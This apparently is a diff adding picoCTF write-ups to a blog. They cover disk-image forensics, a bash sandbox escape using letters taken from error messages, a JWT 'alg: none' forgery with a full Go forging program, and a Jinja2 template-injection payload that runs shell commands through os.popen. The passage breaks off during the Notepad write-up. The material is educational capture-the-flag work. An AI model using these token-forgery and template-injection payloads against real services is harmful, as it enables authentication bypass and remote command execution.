The challenge has an associated instance which we'll need to log into using SSH using
|
||||
the following command:
|
||||
```bash
|
||||
ssh -i key_file -p 61948 ctf-player@saturn.picoctf.net
|
||||
```
|
||||
We are provided with a compressed disk image `disk.img.gz` which we'll decompress with:
|
||||
|
||||
```bash
|
||||
gunzip disk.img.gz
|
||||
```
|
||||
|
||||
To list the partition table for the given disk image, we will use the `mmls` command.
|
||||
If `mmls` is unable to properly determine the filesystem of a given volume, we can
|
||||
specify it using the `-t` flag.
|
||||
|
||||
Let's run `mmls` on the disk image by itself.
|
||||
|
||||
```bash
|
||||
mmls disk.img
|
||||
```
|
||||
|
||||
```none
|
||||
DOS Partition Table
|
||||
Offset Sector: 0
|
||||
Units are in 512-byte sectors
|
||||
|
||||
Slot Start End Length Description
|
||||
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
|
||||
001: ------- 0000000000 0000002047 0000002048 Unallocated
|
||||
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
|
||||
003: 000:001 0000206848 0000471039 0000264192 Linux (0x83)
|
||||
```
|
||||
|
||||
We can see two linux partitions, one starting at offset `2048` and another at `206848`
|
||||
|
||||
In order to list the files in a given volume, we can use the `fls` command. For this,
|
||||
we will need to specify the offset of the volume using the `-o` flag.
|
||||
|
||||
Let's take a look at the first partition at offset `2048`.
|
||||
|
||||
```bash
|
||||
fls -o 2048 disk.img
|
||||
```
|
||||
|
||||
```none
|
||||
d/d 11: lost+found
|
||||
r/r 12: ldlinux.sys
|
||||
r/r 13: ldlinux.c32
|
||||
r/r 15: config-virt
|
||||
r/r 16: vmlinuz-virt
|
||||
r/r 17: initramfs-virt
|
||||
l/l 18: boot
|
||||
r/r 20: libutil.c32
|
||||
r/r 19: extlinux.conf
|
||||
r/r 21: libcom32.c32
|
||||
r/r 22: mboot.c32
|
||||
r/r 23: menu.c32
|
||||
r/r 14: System.map-virt
|
||||
r/r 24: vesamenu.c32
|
||||
V/V 25585: $OrphanFiles
|
||||
```
|
||||
|
||||
This looks like the boot partition of a linux installation.
|
||||
Let's move on to the next partition at offset `206848`.
|
||||
|
||||
```bash
|
||||
fls -o 206848 disk.img
|
||||
```
|
||||
```none
|
||||
d/d 458: home
|
||||
d/d 11: lost+found
|
||||
d/d 12: boot
|
||||
d/d 13: etc
|
||||
d/d 79: proc
|
||||
d/d 80: dev
|
||||
d/d 81: tmp
|
||||
d/d 82: lib
|
||||
d/d 85: var
|
||||
d/d 94: usr
|
||||
d/d 104: bin
|
||||
d/d 118: sbin
|
||||
d/d 464: media
|
||||
d/d 468: mnt
|
||||
d/d 469: opt
|
||||
d/d 470: root
|
||||
d/d 471: run
|
||||
d/d 473: srv
|
||||
d/d 474: sys
|
||||
V/V 33049: $OrphanFiles
|
||||
```
|
||||
|
||||
This looks like the standard linux filesystem hierarchy where we can see the `/home` and `/root` directories.
|
||||
Let's investigate the `/root` directory. To do so, we will append the inode number associated with the
|
||||
directory as an argument to `fls`.
|
||||
|
||||
The inode number of `/root` is `470` here.
|
||||
```
|
||||
d/d 470: root
|
||||
```
|
||||
|
||||
We'll run the previous command with the inode number.
|
||||
|
||||
```bash
|
||||
fls -o 206848 disk.img 470
|
||||
```
|
||||
|
||||
```none
|
||||
r/r 2344: .ash_history
|
||||
d/d 3916: .ssh
|
||||
```
|
||||
|
||||
Here, we can see the `.ssh` directory and the root user's shell history file. We'll try listing
|
||||
the `.ssh` directory. Again, we'll supply the associated inode number, here, `3916`.
|
||||
|
||||
```bash
|
||||
fls -o 206848 disk.img 3916
|
||||
```
|
||||
|
||||
```
|
||||
r/r 2345: id_ed25519
|
||||
r/r 2346: id_ed25519.pub
|
||||
```
|
||||
|
||||
Here, we can see a pair of SSH private and public keys. The one ending in `.pub` being the public key.
|
||||
Private keys are often used as an alternative to password authentication to SSH into a machine.
|
||||
We'll dump the content of this file using the `icat` command. For using this command, we'll need
|
||||
to specify the offset of the volume and the inode number of the file, `2345` here.
|
||||
|
||||
We'll redirect the output of the command into a file called `key_file`.
|
||||
|
||||
```bash
|
||||
icat -o 206848 disk.img 2345 > key_file
|
||||
```
|
||||
|
||||
We can try using the private key to authenticate since this key is not password protected.
|
||||
Before running the SSH command, we must set the permissions on the file to read / write only
|
||||
by us.
|
||||
|
||||
```bash
|
||||
chmod 600 key_file
|
||||
```
|
||||
|
||||
Let's use the command that was provided with the challenge.
|
||||
|
||||
```bash
|
||||
ssh -i key_file -p 61948 ctf-player@saturn.picoctf.net
|
||||
```
|
||||
|
||||
We get a successful login as the user `ctf-player`. Let's list the files in our
|
||||
home directory.
|
||||
|
||||
```bash
|
||||
ctf-player@challenge:~$ ls
|
||||
```
|
||||
```none
|
||||
flag.txt
|
||||
```
|
||||
|
||||
We'll view the contents of the `flag.txt` file.
|
||||
|
||||
```bash
|
||||
ctf-player@challenge:~$ cat flag.txt
|
||||
```
|
||||
|
||||
```none
|
||||
picoCTF{k3y_5l3u7h_af277f77}
|
||||
```
|
||||
|
||||
# Operation Orchid
|
||||
|
||||
We are provided with a disk image `disk.flag.img.gz` which we'll decompress with:
|
||||
```bash
|
||||
gunzip disk.flag.img.gz
|
||||
```
|
||||
|
||||
Let's look at the partition table using `mmls`.
|
||||
|
||||
```bash
|
||||
mmls disk.flag.img
|
||||
```
|
||||
|
||||
```none
|
||||
DOS Partition Table
|
||||
Offset Sector: 0
|
||||
Units are in 512-byte sectors
|
||||
|
||||
Slot Start End Length Description
|
||||
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
|
||||
001: ------- 0000000000 0000002047 0000002048 Unallocated
|
||||
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
|
||||
003: 000:001 0000206848 0000411647 0000204800 Linux Swap / Solaris x86 (0x82)
|
||||
004: 000:002 0000411648 0000819199 0000407552 Linux (0x83)
|
||||
```
|
||||
|
||||
Listing the volume at offset `2048` using `fls`, we see a boot partition.
|
||||
|
||||
```bash
|
||||
fls -o 2048 ./disk.flag.img
|
||||
```
|
||||
|
||||
```none
|
||||
d/d 11: lost+found
|
||||
r/r 12: ldlinux.sys
|
||||
r/r 13: ldlinux.c32
|
||||
r/r 15: config-virt
|
||||
r/r 16: vmlinuz-virt
|
||||
r/r 17: initramfs-virt
|
||||
l/l 18: boot
|
||||
r/r 20: libutil.c32
|
||||
r/r 19: extlinux.conf
|
||||
r/r 21: libcom32.c32
|
||||
r/r 22: mboot.c32
|
||||
r/r 23: menu.c32
|
||||
r/r 14: System.map-virt
|
||||
r/r 24: vesamenu.c32
|
||||
V/V 25585: $OrphanFiles
|
||||
|
||||
```
|
||||
|
||||
We'll move on to the next Linux partition at offset `411648`.
|
||||
|
||||
```bash
|
||||
fls -o 411648 ./disk.flag.img
|
||||
```
|
||||
```none
|
||||
d/d 460: home
|
||||
d/d 11: lost+found
|
||||
d/d 12: boot
|
||||
d/d 13: etc
|
||||
d/d 81: proc
|
||||
d/d 82: dev
|
||||
d/d 83: tmp
|
||||
d/d 84: lib
|
||||
d/d 87: var
|
||||
d/d 96: usr
|
||||
d/d 106: bin
|
||||
d/d 120: sbin
|
||||
d/d 466: media
|
||||
d/d 470: mnt
|
||||
d/d 471: opt
|
||||
d/d 472: root
|
||||
d/d 473: run
|
||||
d/d 475: srv
|
||||
d/d 476: sys
|
||||
d/d 2041: swap
|
||||
V/V 51001: $OrphanFiles
|
||||
```
|
||||
|
||||
Let's try listing the home folder of the root user at `/root`.
|
||||
```none
|
||||
d/d 472: root
|
||||
```
|
||||
We'll use its inode number, `472`.
|
||||
|
||||
```bash
|
||||
fls -o 411648 ./disk.flag.img 472
|
||||
```
|
||||
```none
|
||||
r/r 1875: .ash_history
|
||||
r/r * 1876(realloc): flag.txt
|
||||
r/r 1782: flag.txt.enc
|
||||
```
|
||||
|
||||
We can dump the contents of the `flag.txt` file using `icat` like we did
|
||||
previously.
|
||||
|
||||
```bash
|
||||
icat -o 411648 ./disk.flag.img 1876
|
||||
```
|
||||
|
||||
```none
|
||||
-0.881573 34.311733
|
||||
```
|
||||
|
||||
A set of coordinates? Latitudes and longitudes? Not very helpful.
|
||||
Let's dump `flag.txt.enc` to a file we can work on later.
|
||||
|
||||
```bash
|
||||
icat -o 411648 ./disk.flag.img 1782 > flag.txt.enc
|
||||
```
|
||||
|
||||
Let's investigate the shell history to see what the root user was upto the last time.
|
||||
|
||||
```bash
|
||||
icat -o 411648 ./disk.flag.img 1875
|
||||
```
|
||||
```none
|
||||
touch flag.txt
|
||||
nano flag.txt
|
||||
apk get nano
|
||||
apk --help
|
||||
apk add nano
|
||||
nano flag.txt
|
||||
openssl
|
||||
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
|
||||
shred -u flag.txt
|
||||
ls -al
|
||||
halt
|
||||
```
|
||||
|
||||
Ah! So they encrypted the original `flag.txt` with AES256 using the `openssl` command.
|
||||
We can see the key that was supplied to the command with the `-k` flag.
|
||||
|
||||
Now that we know the key, we can decrypt the `flag.txt.enc` file.
|
||||
|
||||
We'll use the `-d` flag for decryption, set the input file, the argument to the `-in` flag,
|
||||
to `flag.txt.enc` and omit the `-out` flag so that it outputs to `stdout`.
|
||||
|
||||
```bash
|
||||
openssl aes256 -d -salt -in flag.txt.enc -k unbreakablepassword1234567
|
||||
```
|
||||
|
||||
```none
|
||||
*** WARNING : deprecated key derivation used.
|
||||
Using -iter or -pbkdf2 would be better.
|
||||
bad decrypt
|
||||
140377178797312:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:crypto/evp/evp_enc.c:610:
|
||||
picoCTF{h4un71ng_p457_17237fce}
|
||||
```
|
||||
|
||||
There we have it, we've captured the flag.
|
||||
311
content/post/picoctf-sansalpha-writeup.md
Normal file
@@ -0,0 +1,311 @@
|
||||
---
|
||||
title: "PicoCTF SansAlpha Writeup"
|
||||
date: 2025-01-05T11:55:52+05:30
|
||||
draft: false
|
||||
tags:
|
||||
- PicoCTF
|
||||
- Bash
|
||||
- Sandbox Escape
|
||||
- Python
|
||||
- CTF
|
||||
---
|
||||
|
||||
Hey everyone, since 2024 hasn't seen a lot of posts on this blog, I plan to
|
||||
start this year off by going back to the roots.
|
||||
|
||||
I'll be focusing on posting more CTF writeups again! Today's challenge is
|
||||
_SansAlpha_ from PicoCTF. The challenge description states
|
||||
|
||||
> The Multiverse is within your grasp! Unfortunately, the server that contains
|
||||
the secrets of the multiverse is in a universe where keyboards only have numbers
|
||||
and (most) symbols.
|
||||
|
||||
It is tagged as a _shell escape_, which means we will be dropped in a restricted
|
||||
environment and our job would be to break out of the sandbox.
|
||||
|
||||
After launching and remoting into the machine with the given credentials, we are
|
||||
greeted with a bash prompt.
|
||||
|
||||
```
|
||||
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 6.5.0-1016-aws x86_64)
|
||||
|
||||
* Documentation: https://help.ubuntu.com
|
||||
* Management: https://landscape.canonical.com
|
||||
* Support: https://ubuntu.com/advantage
|
||||
|
||||
This system has been minimized by removing packages and content that are
|
||||
not required on a system that users do not log into.
|
||||
|
||||
To restore this content, you can run the 'unminimize' command.
|
||||
Last login: Sun Jan 5 06:15:52 2025 from 127.0.0.1
|
||||
SansAlpha$
|
||||
```
|
||||
|
||||
The moment we issue a command, however, we get an error saying an unknown character was detected.
|
||||
|
||||
```
|
||||
SansAlpha$ id
|
||||
SansAlpha: Unknown character detected
|
||||
```
|
||||
|
||||
However, numerals and symbols still work. So we can still perform basic arithmetic like the following:
|
||||
|
||||
```sh
|
||||
$((1+2))
|
||||
```
|
||||
|
||||
```
|
||||
bash: 3: command not found
|
||||
```
|
||||
|
||||
Now the description makes more sense, we are only allowed to use numbers and
|
||||
symbols as the input. Alphabets are forbidden, hence the title, _sans alpha_.
|
||||
|
||||
The hint for the challenge says
|
||||
|
||||
> Where can you get some letters?
|
||||
|
||||
We could get some letters perhaps by reading a file. To do that, we still need
|
||||
to use some utility like `cat` and we need to supply a known filename.
|
||||
|
||||
Surprisingly enough, we can still trigger a division by zero error.
|
||||
|
||||
```sh
|
||||
$((1/0))
|
||||
```
|
||||
|
||||
```
|
||||
bash: 1/0: division by 0 (error token is "0")
|
||||
```
|
||||
|
||||
But of course, we can get some letters from the _errors!_
|
||||
|
||||
Here's an outline of our plan:
|
||||
- Perform a command substitution with the `$(somecommand)` notation inside a string
|
||||
- Ensure that the command substition returns an error
|
||||
- Use the letters or substrings from the error for the next payload
|
||||
|
||||
We'll run the commands on a local machine first to make sure the outputs match our expectations.
|
||||
|
||||
Let's continue with the division by zero example. We want to perform this division inside
|
||||
a subshell as a string substitution.
|
||||
|
||||
> Note: the syntax highlighter on my website is freaking out on this command.
|
||||
The perfect bash highlighter doesn't exist.
|
||||
|
||||
```sh
|
||||
"$( ((1/0)) )"
|
||||
```
|
||||
|
||||
The inner two pairs of braces are performing the math. The outermost braces are
|
||||
performing the command substitution. Thus, we are passing the arithmetic error
|
||||
string `1/0: division by 0 (error token is "0")` as the command to be run.
|
||||
|
||||
We can check this by asking bash for the most recent command using the special
|
||||
variable `$_`.
|
||||
|
||||
```sh
|
||||
echo $_
|
||||
```
|
||||
|
||||
Which gives us ... nothing? Well, that's because the error is being printed on
|
||||
standard error `stderr` instead of the standard output `stdout`.
|
||||
|
||||
To pass the error as the next command to be evaluated, we need to redirect
|
||||
`stderr` at file descriptor 2 to `stdout` at file descriptor 1 with a `2>&1`
|
||||
expression.
|
||||
|
||||
```sh
|
||||
"$( ((1/0)) 2>&1 )"
|
||||
```
|
||||
|
||||
Now looking up the last command returns the error message.
|
||||
|
||||
```sh
|
||||
echo $_
|
||||
```
|
||||
|
||||
```
|
||||
bash: ((: 1/0: division by 0 (error token is "0")
|
||||
```
|
||||
|
||||
## Triggering a text editor
|
||||
|
||||
We can follow up with a substring from this error. The syntax for picking a substring in bash is
|
||||
a bit different from other languages. It is of the form
|
||||
|
||||
```sh
|
||||
${variable:offset:length}
|
||||
```
|
||||
|
||||
- The `variable`, in our case `_`, is what stores the original string
|
||||
- `offset` is where the substring begins
|
||||
- `length` is how far the substring goes from the start
|
||||
|
||||
In fact, the di**vi**sion error message contains the substring `vi` which we could use to spin up the `vi` text editor.
|
||||
To get that substring, we find its index. Let's use the index method in python for this.
|
||||
|
||||
```python
|
||||
'bash: ((: 1/0: division by 0 (error token is "0")'.index('vi')
|
||||
```
|
||||
|
||||
This gives us 17. Knowing that `vi` is 2 letters, we can build the following payload.
|
||||
|
||||
```sh
|
||||
${_:17:2}
|
||||
```
|
||||
|
||||
Since this payload depends on the error before it, we must detonate that first.
|
||||
We will run the following on the picoCTF machine:
|
||||
|
||||
```sh
|
||||
"$(((1/0)) 2>&1)"
|
||||
${_:17:2}
|
||||
```
|
||||
|
||||
```
|
||||
bash: bash: ((: 1/0: division by 0 (error token is "0"): No such file or directory
|
||||
bash: vi: command not found
|
||||
```
|
||||
|
||||
Looks like one of the most ubiquitous text editors isn't available on this machine!
|
||||
|
||||
If we were to successfully launch `vi`, we could type the sequence `:!` followed
|
||||
by a command to execute it in a shell.
|
||||
|
||||
## Getting a lay of the land
|
||||
|
||||
We can still gather letters from other error messages. Let's take a look around
|
||||
to get a feel for where the flag might be. To list the contents of the current
|
||||
directory, we need to run the `ls` command.
|
||||
|
||||
As there's no letter 'l' in the division by zero error, we could trigger a
|
||||
different error like trying to source a nonexistent file like `1` using the
|
||||
dot command.
|
||||
|
||||
```
|
||||
"$(. 1 2>&1)"
|
||||
```
|
||||
|
||||
```
|
||||
bash: 1: No such file or directory
|
||||
```
|
||||
|
||||
## Building gadgets
|
||||
|
||||
We can use the same substring technique as in the previous section to extract
|
||||
characters from the error message. To automate this, we create a small python
|
||||
function.
|
||||
|
||||
```python
|
||||
def generate(haystack: str, to_build: str):
|
||||
return ''.join(
|
||||
"${{_:{}:1}}".format(
|
||||
haystack.index(needle)
|
||||
)
|
||||
for needle in to_build
|
||||
)
|
||||
```
|
||||
|
||||
- `haystack` refers to the error message wherein we look for the letters
|
||||
- `needle` represents each letter that come together `to_build` the command we want to issue.
|
||||
|
||||
The outputs of such small functions that work together to build a larger exploit
|
||||
are call _"gadgets"_.
|
||||
|
||||
## Chaining gadgets
|
||||
|
||||
We can call the function like the following to build the payload for calling `ls`:
|
||||
|
||||
```python
|
||||
msg = 'bash: 1: No such file or directory'
|
||||
generate(msg, 'ls')
|
||||
```
|
||||
|
||||
```sh
|
||||
${_:19:1}${_:2:1}
|
||||
```
|
||||
|
||||
Let's use this immediately after detonating the sourcing error.
|
||||
Putting everything together, we'll run the following payload on the picoCTF machine.
|
||||
|
||||
```sh
|
||||
"$(. 1 2>&1)"
|
||||
${_:19:1}${_:2:1}
|
||||
```
|
||||
|
||||
```
|
||||
bash: bash: 1: No such file or directory: command not found
|
||||
blargh on-calastran.txt
|
||||
```
|
||||
|
||||
We find a directory called "blargh" and a text file called "on-calastran.txt" in
|
||||
our working directory. Let's try to list the contents of the `blargh` directory
|
||||
using `ls blargh`.
|
||||
|
||||
```python
|
||||
generate(msg, 'ls blargh')
|
||||
```
|
||||
|
||||
```
|
||||
Traceback (most recent call last):
|
||||
File "<stdin>", line 1, in <module>
|
||||
File "<stdin>", line 2, in generate
|
||||
File "<stdin>", line 3, in <genexpr>
|
||||
ValueError: substring not found
|
||||
```
|
||||
|
||||
Why are we unable to generate a payload for this command? If we look closely, we
|
||||
see this happens because the letter 'g' is not in the error message.
|
||||
|
||||
## Globbing to the rescue
|
||||
|
||||
We can always resort to globbing with `*/**`, matching all paths at depth 2. We
|
||||
simply need to append it to the previous payload since special characters work
|
||||
just fine.
|
||||
|
||||
```sh
|
||||
"$(. 1 2>&1)"
|
||||
${_:19:1}${_:2:1} */**
|
||||
```
|
||||
|
||||
Running this on the picoCTF machine tells us that the flag resides in the
|
||||
"blargh" directory.
|
||||
|
||||
```
|
||||
blargh/flag.txt blargh/on-alpha-9.txt
|
||||
```
|
||||
|
||||
We can view the contents of `flag.txt` using the `cat` utility.
|
||||
|
||||
To avoid matching the other `on-alpha-9.txt` file and printing its contents,
|
||||
we can distinguish the `flag.txt` by its first letter 'f' in the glob. Thus, to
|
||||
view the flag, our target command will be `cat */f*`.
|
||||
|
||||
Let's generate the gadget for this round.
|
||||
|
||||
```python
|
||||
print(generate(msg, 'cat') + " */" + generate(msg, "f") + "*")
|
||||
```
|
||||
|
||||
```sh
|
||||
${_:14:1}${_:1:1}${_:30:1} */${_:17:1}*
|
||||
```
|
||||
|
||||
We will append this to the first gadget and run them together.
|
||||
|
||||
```sh
|
||||
"$(. 1 2>&1)"
|
||||
${_:14:1}${_:1:1}${_:30:1} */${_:17:1}*
|
||||
```
|
||||
|
||||
Running this on the picoCTF machine finally fetches us the flag!
|
||||
|
||||
```
|
||||
return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_b0d5e855}
|
||||
```
|
||||
|
||||
I really enjoy coming back to these CTF challenges because they force you to
|
||||
think out of the box.
|
||||
|
||||
That's all for now. I hope you learned something. See you soon!
|
||||
146
content/post/picoctf-web-challenge-jauth.md
Normal file
@@ -0,0 +1,146 @@
|
||||
---
|
||||
title: "JAuth"
|
||||
tags:
|
||||
- Authentication Bypass
|
||||
- CTF
|
||||
- JWT
|
||||
- PicoCTF
|
||||
- Web
|
||||
date: 2022-02-22T14:49:34+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
The challenge description states that most web application developers use third party components without testing their security.
|
||||
It mentions some past affected companies, then asks us to identify and exploit the vulnerable component for the challenge at http://saturn.picoctf.net:52025/
|
||||
|
||||
The goal is to become an `admin`.
|
||||
We are provied with the username `test` and the password `Test123!` to look around.
|
||||
|
||||
The challenge is a dummy bank portal. On login, we see the message:
|
||||
> Hello, You have logged in the testing page. There is nothing to see here.
|
||||
|
||||
While logging in, if we check the network requests and responses,
|
||||
we can see a cookie named `token` being set.
|
||||
|
||||
```none
|
||||
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNjQ1NTE4MjkzMTE5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6OTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC85Ny4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDU1MTgyOTN9.dy45xnUb62Xnhqgo51JmGWRthAUGS-3jKwQ_RlDYCrw; path=/; httponly
|
||||
```
|
||||
|
||||
On taking a closer look, the cookie looks like a [JSON web token](https://en.wikipedia.org/wiki/JSON_Web_Token).
|
||||
JSON web tokens comprise three base64 encoded parts, each separated by a `.`
|
||||
These include:
|
||||
- Header
|
||||
- Payload
|
||||
- Verification signature
|
||||
|
||||
> We can make this educated guess since the value begins with `eyJ` which partially decodes to `{"`
|
||||
|
||||
For this token, we can base64 decode the header and the payload like so:
|
||||
|
||||
### Header
|
||||
|
||||
`eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9`
|
||||
|
||||
decodes to
|
||||
|
||||
`{"typ":"JWT","alg":"HS256"}`
|
||||
|
||||
### Payload
|
||||
|
||||
`eyJhdXRoIjoxNjQ1NTE4MjkzMTE5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6OTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC85Ny4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDU1MTgyOTN9`
|
||||
|
||||
decodes to
|
||||
|
||||
`{"auth":1645518293119,"agent":"Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0","role":"user","iat":1645518293}`
|
||||
|
||||
Decoding the signature would result in non-printable characters since it is the base64 representation of the HS256
|
||||
or [HMAC](https://en.wikipedia.org/wiki/HMAC) [SHA256](https://en.wikipedia.org/wiki/SHA-2) digest of the header,
|
||||
payload and a 256 bit secret.
|
||||
Other algorithms include RSA256 (RSA SHA256), ES256 (ECDSA SHA256) and the like.
|
||||
|
||||
For forging an admin's cookie, we would need to modify the `"role"` field in the payload to `"admin"`.
|
||||
However, if we do so, the verification signature becomes invalid for the payload. The only way we can
|
||||
generate a valid signature is by knowing the 256 bit secret.
|
||||
|
||||
If we pay close attention to the header, we see that the verification algorithm is specified in the cookie.
|
||||
We can modify the `"alg"` field of the header to `"none"` and omit the verification signature completely.
|
||||
The trailing dot following the encoded payload must be present.
|
||||
|
||||
So, I wrote a little Golang program to do just that.
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// modify decodes a base64 encoded part of the token,
|
||||
// and sets the `whence` field to the value supplied as `what`
|
||||
func modify(part, whence, what string) (string, error) {
|
||||
// b has the base64 decoded bytes
|
||||
b, err := base64.URLEncoding.DecodeString(part)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
// unmarshal the json data to the structure `p`
|
||||
p := make(map[string]interface{})
|
||||
err = json.Unmarshal(b, &p)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
// set the `whence` field to `what`
|
||||
p[whence] = what
|
||||
// marshal the modified structure back to json
|
||||
marshalled, err := json.Marshal(p)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
// return the modified part, encoded with base64
|
||||
return strings.Replace(base64.URLEncoding.EncodeToString(marshalled), "=", "", -1), nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
// print usage if token is not supplied
|
||||
if len(os.Args) < 2 {
|
||||
fmt.Fprintf(os.Stderr, "Usage:\n\t%s <token>\n", os.Args[0])
|
||||
os.Exit(1)
|
||||
}
|
||||
// split the parts
|
||||
parts := strings.Split(os.Args[1], ".")
|
||||
// set the last part to empty since we would not need it
|
||||
parts[2] = ""
|
||||
|
||||
part, err := modify(parts[0], "alg", "none")
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
parts[0] = part
|
||||
part, err = modify(parts[1], "role", "admin")
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
parts[1] = part
|
||||
// join the parts back
|
||||
fmt.Printf("Forged token: %v\n", strings.Join(parts, "."))
|
||||
}
|
||||
```
|
||||
|
||||
Now we run:
|
||||
|
||||
```bash
|
||||
go run main.go eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNjQ1NTE4MjkzMTE5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6OTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC85Ny4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDU1MTgyOTN9.dy45xnUb62Xnhqgo51JmGWRthAUGS-3jKwQ_RlDYCrw
|
||||
```
|
||||
|
||||
which gives forged token: `eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6OTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC85Ny4wIiwiYXV0aCI6MTY0NTUxODI5MzExOSwiaWF0IjoxNjQ1NTE4MjkzLCJyb2xlIjoiYWRtaW4ifQ.`
|
||||
|
||||
Manually setting the cookie to this value, we are redirected to the admin page.
|
||||
|
||||
> Hello, admin! You have logged in as admin!
|
||||
|
||||
and we are greeted with the flag `picoCTF{succ3ss_@u7h3nt1c@710n_57072644}`
|
||||
140
content/post/picoctf-web-challenge-notepad.md
Normal file
@@ -0,0 +1,140 @@
|
||||
---
|
||||
title: "Notepad"
|
||||
tags:
|
||||
- CTF
|
||||
- Jinja2
|
||||
- Path Traversal
|
||||
- PicoCTF
|
||||
- Python
|
||||
- Web
|
||||
date: 2022-02-21T09:24:30+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
|
||||
After submitting the query, we are redirected to an html page containing the content of the post.
|
||||
|
||||
The first thing I tried was triggering XSS (cross site scripting) with the following:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
```
|
||||
|
||||
The application source directory tree looks like the following:
|
||||
```
|
||||
.
|
||||
├── app.py
|
||||
├── Dockerfile
|
||||
├── flag.txt
|
||||
├── static
|
||||
└── templates
|
||||
├── errors
|
||||
│ ├── bad_content.html
|
||||
│ └── long_content.html
|
||||
└── index.html
|
||||
|
||||
```
|
||||
|
||||
Let's inspect the `app.py` source.
|
||||
|
||||
```python
|
||||
from werkzeug.urls import url_fix
|
||||
from secrets import token_urlsafe
|
||||
from flask import Flask, request, render_template, redirect, url_for
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
return render_template("index.html", error=request.args.get("error"))
|
||||
|
||||
@app.route("/new", methods=["POST"])
|
||||
def create():
|
||||
content = request.form.get("content", "")
|
||||
if "_" in content or "/" in content:
|
||||
return redirect(url_for("index", error="bad_content"))
|
||||
if len(content) > 512:
|
||||
return redirect(url_for("index", error="long_content", len=len(content)))
|
||||
name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
|
||||
with open(name, "w") as f:
|
||||
f.write(content)
|
||||
return redirect(name)
|
||||
```
|
||||
|
||||
Ok, so the application returns the `bad_content` message when it sees a slash or an underscore.
|
||||
However, we can notice that an attacker has partial control over the error message template.
|
||||
|
||||
```python
|
||||
@app.route("/")
|
||||
def index():
|
||||
return render_template("index.html", error=request.args.get("error"))
|
||||
```
|
||||
|
||||
The content we post gets uploaded to the static directory and the filename consists of the first 128 characters of the content, a hyphen and an 8 character url-safe random token.
|
||||
|
||||
```python
|
||||
name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
|
||||
```
|
||||
|
||||
So, we can upload a valid Jinja2 template to errors directory, then use the filename in the error parameter tp render it through Jinja.
|
||||
|
||||
We can use a backslash instead of a forward slash along with double periods (`..`) for path traversal. From the static directory we'll go:
|
||||
path | explanation
|
||||
---- | ----
|
||||
`..` | up to the root of the app
|
||||
`..\templates\` | into templates
|
||||
`..\templates\errors\` | then into errors
|
||||
|
||||
We'll fill the remainder of the first 128 characters of the content to `A`s so that the filename does not get messed up.
|
||||
Next up, using the right payload. I picked the following up from PayloadAllTheThings
|
||||
|
||||
```python
|
||||
{{ cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
|
||||
We have to bypass the underscores and it would be better if we could control the command.
|
||||
The command can be passed through a request parameter and so can the underscore be.
|
||||
We'll pass the underscore to the parameter `u` and retrieve it in the template using `request.args.u`.
|
||||
Similarly, we'd retrieve the command `c` using `request.args.c`.
|
||||
|
||||
So
|
||||
```python
|
||||
cycler.__init__.__globals__
|
||||
```
|
||||
becomes
|
||||
```python
|
||||
cycler[request.args.u*2+'init'+request.args.u*2][request.args.u*2+'globals'+request.args.u*2]
|
||||
```
|
||||
|
||||
Putting it all together, we have:
|
||||
|
||||
```python
|
||||
..\templates\errors\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
{{cycler[request.args.u*2+'init'+request.args.u*2][request.args.u*2+'globals'+request.args.u*2].os.popen(request.args.c).read()}}
|
||||
```
|
||||
|
||||
Note the `request.args.c` passed to `os.popen` for the commands we would run.
|
||||
|
||||
After uploading the payload we are rediected to a not found page.
|
||||
|
||||
